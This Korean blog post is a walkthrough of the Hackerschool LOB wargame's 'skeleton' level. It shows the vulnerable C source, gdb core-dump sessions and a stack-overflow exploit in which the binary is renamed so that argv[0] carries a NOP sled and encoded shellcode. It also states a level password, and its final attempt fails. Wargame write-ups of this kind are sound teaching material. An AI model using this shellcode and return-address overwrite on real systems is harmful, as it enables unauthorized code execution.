반응형


해커스쿨 LOB LEVEL10 [vampire -> skeleton] 풀이


M4ndU




해커스쿨 LOB [troll -> vampire] 풀이입니다.


ID | vampire

PW | music world

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: vampire

Password:

[vampire@localhost vampire]$ bash2

[vampire@localhost vampire]$ ls -l

total 20

-rwsr-sr-x    1 skeleton skeleton    12752 Mar  3  2010 skeleton

-rw-r--r--    1 root     root          821 Mar 29  2010 skeleton.c

[vampire@localhost vampire]$ cat skeleton.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - skeleton

        - argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i, saved_argc;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        // argc saver

        saved_argc = argc;


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


        // ultra argv hunter!

        for(i=0; i<saved_argc; i++)

                memset(argv[i], 0, strlen(argv[i]));

}


이번에는 모든 argv값을 0으로 초기화 하네요... ㅠㅠ

스택에 뭐라도 남아있을지 모르니 찾아봅시다.


[vampire@localhost vampire]$ mkdir tmp

[vampire@localhost vampire]$ cp skeleton tmp/

[vampire@localhost vampire]$ cd tmp/

[vampire@localhost tmp]$ ./skeleton `python -c 'print "A"*47+"\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?

Segmentation fault (core dumped)

[vampire@localhost tmp]$ gdb -c core -q

Core was generated by `                                                           '.

Program terminated with signal 11, Segmentation fault.

#0  0xbf414141 in ?? ()

(gdb) x/1000s 0xbfffff00

0xbffffff0:      ""
0xbffffff1:      "./skeleton"
0xbffffffc:      ""
0xbffffffd:      ""
0xbffffffe:      ""
0xbfffffff:      ""
0xc0000000:      <Address 0xc0000000 out of bounds>


어라 argv[0]의 값이 남아있네요.

이 것을 이용해서 문제를 풀면 될 것 같습니다.


[vampire@localhost tmp]$  rename skeleton `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` skeleton



이름을 바꿔주고요,

[vampire@localhost tmp]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\xbf\xff\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD??
Segmentation fault (core dumped)
[vampire@localhost tmp]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffd2 in ?? ()
(gdb) x/100x 0xbfffff00
0xbfffff00:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff10:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff20:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff30:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff40:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff50:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff60:     0x00000000      0x902f2e00      0x90909090      0x90909090
0xbfffff70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffa0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffb0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffc0:     0x90909090      0x90909090      0xeb909090      0xc9315e11
0xbfffffd0:     0x6c8032b1      0x8001ff0e      0xf67501e9      0xeae805eb
0xbfffffe0:     0x32ffffff      0x306951c1      0x69697430      0x6f6a6330
0xbffffff0:     0x5451e48a      0xb19ae28a      0x0081ce0c      0x00000000
0xc0000000:     Cannot access memory at address 0xc0000000


리턴주소를 0xbfffff70로 하면 될 것 같습니다.

[vampire@localhost vampire]$  ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\x80\xff\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD€?
Segmentation fault

...왜인지 모르겠는데 안되네요. 저번엔 쉘 떴는데..
혀튼 쉘을 따시면 다음 비밀번호가 나옵니다.ㅎ

다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏ







반응형

+ Recent posts